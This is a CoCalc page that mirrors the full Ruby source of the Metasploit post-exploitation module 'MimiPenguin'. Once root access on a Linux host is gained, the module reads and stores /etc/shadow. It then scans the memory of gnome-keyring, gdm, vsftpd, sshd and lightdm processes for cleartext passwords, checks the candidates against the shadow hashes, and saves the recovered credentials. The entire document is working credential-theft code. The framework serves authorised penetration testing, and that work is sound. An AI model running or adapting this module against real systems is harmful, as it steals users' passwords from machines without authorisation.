CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/linux/gather/mimipenguin.rb
Views: 11704
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'unix_crypt'
7
8
class MetasploitModule < Msf::Post
9
include Msf::Post::Linux::Priv
10
include Msf::Post::Linux::System
11
include Msf::Post::Linux::Process
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'MimiPenguin',
18
'Description' => %q{
19
This searches process memory for needles that indicate
20
where cleartext passwords may be located. If any needles
21
are discovered in the target process memory, collected
22
strings in adjacent memory will be hashed and compared
23
with password hashes found in `/etc/shadow`.
24
},
25
'License' => MSF_LICENSE,
26
'Author' => [
27
'huntergregal', # MimiPenguin
28
'bcoles', # original MimiPenguin module, table and python code
29
'Shelby Pace' # metasploit module
30
],
31
'Platform' => [ 'linux' ],
32
'Arch' => [ ARCH_X86, ARCH_X64, ARCH_AARCH64 ],
33
'SessionTypes' => [ 'meterpreter' ],
34
'Targets' => [[ 'Auto', {} ]],
35
'Privileged' => true,
36
'References' => [
37
[ 'URL', 'https://github.com/huntergregal/mimipenguin' ],
38
[ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/gnome-keyring/+bug/1772919' ],
39
[ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/lightdm/+bug/1717490' ],
40
[ 'CVE', '2018-20781' ]
41
],
42
'DisclosureDate' => '2018-05-23',
43
'DefaultTarget' => 0,
44
'Notes' => {
45
'Stability' => [],
46
'Reliability' => [],
47
'SideEffects' => []
48
},
49
'Compat' => {
50
'Meterpreter' => {
51
'Commands' => %w[
52
stdapi_sys_process_attach
53
stdapi_sys_process_memory_read
54
stdapi_sys_process_memory_search
55
]
56
}
57
}
58
)
59
)
60
end
61
62
def get_user_names_and_hashes
63
shadow_contents = read_file('/etc/shadow')
64
fail_with(Failure::UnexpectedReply, "Failed to read '/etc/shadow'") if shadow_contents.blank?
65
vprint_status('Storing shadow file...')
66
store_loot('shadow.file', 'text/plain', session, shadow_contents, nil)
67
68
users = []
69
lines = shadow_contents.split
70
lines.each do |line|
71
line_arr = line.split(':')
72
next if line_arr.empty?
73
74
user_name = line_arr&.first
75
hash = line_arr&.second
76
next unless hash.start_with?('$')
77
next if hash.nil? || user_name.nil?
78
79
users << { 'username' => user_name, 'hash' => hash }
80
end
81
82
users
83
end
84
85
def configure_passwords(user_data = [])
86
user_data.each do |info|
87
hash = info['hash']
88
hash_format = Metasploit::Framework::Hashes.identify_hash(hash)
89
info['type'] = hash_format.empty? ? 'unsupported' : hash_format
90
91
salt = ''
92
if info['type'] == 'bf'
93
arr = hash.split('$')
94
next if arr.length < 4
95
96
cost = arr[2]
97
salt = arr[3][0..21]
98
info['cost'] = cost
99
elsif info['type'] == 'yescrypt'
100
salt = hash[0...29]
101
else
102
salt = hash.split('$')[2]
103
end
104
next if salt.nil?
105
106
info['salt'] = salt
107
end
108
109
user_data
110
end
111
112
def get_matches(target_info = {})
113
if target_info.empty?
114
vprint_status('Invalid target info supplied')
115
return nil
116
end
117
118
target_pids = pidof(target_info['name'])
119
if target_pids.nil?
120
print_bad("PID for #{target_info['name']} not found.")
121
return nil
122
end
123
124
target_info['matches'] = {}
125
target_info['pids'] = target_pids
126
target_info['pids'].each_with_index do |target_pid, _ind|
127
vprint_status("Searching PID #{target_pid}...")
128
response = session.sys.process.memory_search(pid: target_pid, needles: target_info['needles'], min_match_length: 5, max_match_length: 500)
129
130
matches = []
131
response.each(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_RESULTS) do |res|
132
match_data = {}
133
match_data['match_str'] = res.get_tlv_value(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_STR)
134
match_data['match_offset'] = res.get_tlv_value(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_ADDR)
135
match_data['sect_start'] = res.get_tlv_value(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_START_ADDR)
136
match_data['sect_len'] = res.get_tlv_value(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_SECT_LEN)
137
138
matches << match_data
139
end
140
141
target_info['matches'][target_pid] = matches.empty? ? nil : matches
142
end
143
end
144
145
def format_addresses(addr_line)
146
address = addr_line.split&.first
147
start_addr, end_addr = address.split('-')
148
start_addr = start_addr.to_i(16)
149
end_addr = end_addr.to_i(16)
150
151
{ 'start' => start_addr, 'end' => end_addr }
152
end
153
154
# Selects memory regions to read based on locations
155
# of matches
156
def choose_mem_regions(pid, match_data = [])
157
return [] if match_data.empty?
158
159
mem_regions = []
160
match_data.each do |match|
161
next unless match.key?('sect_start') && match.key?('sect_len')
162
163
start = match.fetch('sect_start')
164
len = match.fetch('sect_len')
165
mem_regions << { 'start' => start, 'length' => len }
166
end
167
168
mem_regions.uniq!
169
mem_data = read_file("/proc/#{pid}/maps")
170
return mem_regions if mem_data.nil?
171
172
lines = mem_data.split("\n")
173
updated_regions = mem_regions.clone
174
if mem_regions.length == 1
175
match_addr = mem_regions[0]['start'].to_s(16)
176
match_ind = lines.index { |line| line.split('-').first.include?(match_addr) }
177
prev = lines[match_ind - 1]
178
if prev && prev.include?('00000000 00:00 0')
179
formatted = format_addresses(prev)
180
start_addr = formatted['start']
181
end_addr = formatted['end']
182
length = end_addr - start_addr
183
184
updated_regions << { 'start' => start_addr, 'length' => length }
185
end
186
187
post = lines[match_ind + 1]
188
if post && post.include?('00000000 00:00 0')
189
formatted = format_addresses(post)
190
start_addr = formatted['start']
191
end_addr = formatted['end']
192
length = end_addr - start_addr
193
194
updated_regions << { 'start' => start_addr, 'length' => length }
195
end
196
197
return updated_regions
198
end
199
200
mem_regions.each_with_index do |region, index|
201
next if index == 0
202
203
first_addr = mem_regions[index - 1]['start']
204
curr_addr = region['start']
205
first_addr = first_addr.to_s(16)
206
curr_addr = curr_addr.to_s(16)
207
first_index = lines.index { |line| line.start_with?(first_addr) }
208
curr_index = lines.index { |line| line.start_with?(curr_addr) }
209
next if first_index.nil? || curr_index.nil?
210
211
between_vals = lines.values_at(first_index + 1...curr_index)
212
between_vals = between_vals.select { |line| line.include?('00000000 00:00 0') }
213
if between_vals.empty?
214
next unless region == mem_regions.last
215
216
adj_region = lines[curr_index + 1]
217
return updated_regions if adj_region.nil?
218
219
formatted = format_addresses(adj_region)
220
start_addr = formatted['start']
221
end_addr = formatted['end']
222
length = end_addr - start_addr
223
updated_regions << { 'start' => start_addr, 'length' => length }
224
return updated_regions
225
end
226
227
between_vals.each do |addr_line|
228
formatted = format_addresses(addr_line)
229
start_addr = formatted['start']
230
end_addr = formatted['end']
231
length = end_addr - start_addr
232
updated_regions << { 'start' => start_addr, 'length' => length }
233
end
234
end
235
236
updated_regions
237
end
238
239
def get_printable_strings(pid, start_addr, section_len)
240
lines = []
241
curr_addr = start_addr
242
max_addr = start_addr + section_len
243
244
while curr_addr < max_addr
245
data = mem_read(curr_addr, 1000, pid: pid)
246
lines << data.split(/[^[:print:]]/)
247
lines = lines.flatten
248
curr_addr += 800
249
end
250
251
lines.reject! { |line| line.length < 4 }
252
lines
253
end
254
255
def get_python_version
256
@python_vers ||= command_exists?('python3') ? 'python3' : ''
257
258
if @python_vers.empty?
259
@python_vers ||= command_exists?('python') ? 'python' : ''
260
end
261
end
262
263
def check_for_valid_passwords(captured_strings, user_data, process_name)
264
captured_strings.each do |str|
265
user_data.each do |pass_info|
266
salt = pass_info['salt']
267
hash = pass_info['hash']
268
pass_type = pass_info['type']
269
270
case pass_type
271
when 'md5'
272
hashed = UnixCrypt::MD5.build(str, salt)
273
when 'bf'
274
BCrypt::Engine.cost = pass_info['cost'] || 12
275
hashed = BCrypt::Engine.hash_secret(str, hash[0..28])
276
when /sha256/
277
hashed = UnixCrypt::SHA256.build(str, salt)
278
when /sha512/
279
hashed = UnixCrypt::SHA512.build(str, salt)
280
when 'yescrypt'
281
get_python_version
282
next if @python_vers.empty?
283
284
if @python_vers == 'python3'
285
code = "import crypt; import base64; print(crypt.crypt(base64.b64decode('#{Rex::Text.encode_base64(str)}').decode('utf-8'), base64.b64decode('#{Rex::Text.encode_base64(salt.to_s)}').decode('utf-8')))"
286
cmd = "python3 -c \"#{code}\""
287
else
288
code = "import crypt; import base64; print crypt.crypt(base64.b64decode('#{Rex::Text.encode_base64(str)}'), base64.b64decode('#{Rex::Text.encode_base64(salt.to_s)}'))"
289
cmd = "python -c \"#{code}\""
290
end
291
hashed = cmd_exec(cmd).to_s.strip
292
when 'unsupported'
293
next
294
end
295
296
next unless hashed == hash
297
298
pass_info['password'] = str
299
pass_info['process'] = process_name
300
end
301
end
302
end
303
304
def run
305
fail_with(Failure::BadConfig, 'Root privileges are required') unless is_root?
306
user_data = get_user_names_and_hashes
307
fail_with(Failure::UnexpectedReply, 'Failed to retrieve user information') if user_data.empty?
308
password_data = configure_passwords(user_data)
309
310
target_proc_info = [
311
{
312
'name' => 'gnome-keyring-daemon',
313
'needles' => [
314
'^+libgck\\-1.so\\.0$',
315
'libgcrypt\\.so\\..+$',
316
'linux-vdso\\.so\\.1$',
317
'libc\\.so\\.6$'
318
]
319
},
320
{
321
'name' => 'gdm-password',
322
'needles' => [
323
'^_pammodutil_getpwnam_root_1$',
324
'^gkr_system_authtok$'
325
]
326
},
327
{
328
'name' => 'vsftpd',
329
'needles' => [
330
'^::.+\\:[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$'
331
]
332
},
333
{
334
'name' => 'sshd',
335
'needles' => [
336
'^sudo.+'
337
]
338
},
339
{
340
'name' => 'lightdm',
341
'needles' => [
342
'^_pammodutil_getspnam_'
343
]
344
}
345
]
346
347
captured_strings = []
348
target_proc_info.each do |info|
349
print_status("Checking for matches in process #{info['name']}")
350
match_set = get_matches(info)
351
if match_set.nil?
352
vprint_status("No matches found for process #{info['name']}")
353
next
354
end
355
356
vprint_status('Choosing memory regions to search')
357
next if info['pids'].empty?
358
next if info['matches'].values.all?(&:nil?)
359
360
info['matches'].each do |pid, set|
361
next unless set
362
363
search_regions = choose_mem_regions(pid, set)
364
next if search_regions.empty?
365
366
search_regions.each { |reg| captured_strings << get_printable_strings(pid, reg['start'], reg['length']) }
367
captured_strings.flatten!
368
captured_strings.uniq!
369
check_for_valid_passwords(captured_strings, password_data, info['name'])
370
captured_strings = []
371
end
372
end
373
374
results = password_data.select { |res| res.key?('password') && !res['password'].nil? }
375
fail_with(Failure::NotFound, 'Failed to find any passwords') if results.empty?
376
print_good("Found #{results.length} valid credential(s)!")
377
378
table = Rex::Text::Table.new(
379
'Header' => 'Credentials',
380
'Indent' => 2,
381
'SortIndex' => 0,
382
'Columns' => [ 'Process Name', 'Username', 'Password' ]
383
)
384
385
results.each do |res|
386
table << [ res['process'], res['username'], res['password'] ]
387
store_valid_credential(
388
user: res['username'],
389
private: res['password'],
390
private_type: :password
391
)
392
end
393
394
print_line
395
print_line(table.to_s)
396
path = store_loot(
397
'mimipenguin.csv',
398
'text/plain',
399
session,
400
table.to_csv,
401
nil
402
)
403
404
print_status("Credentials stored in #{path}")
405
end
406
end
407
408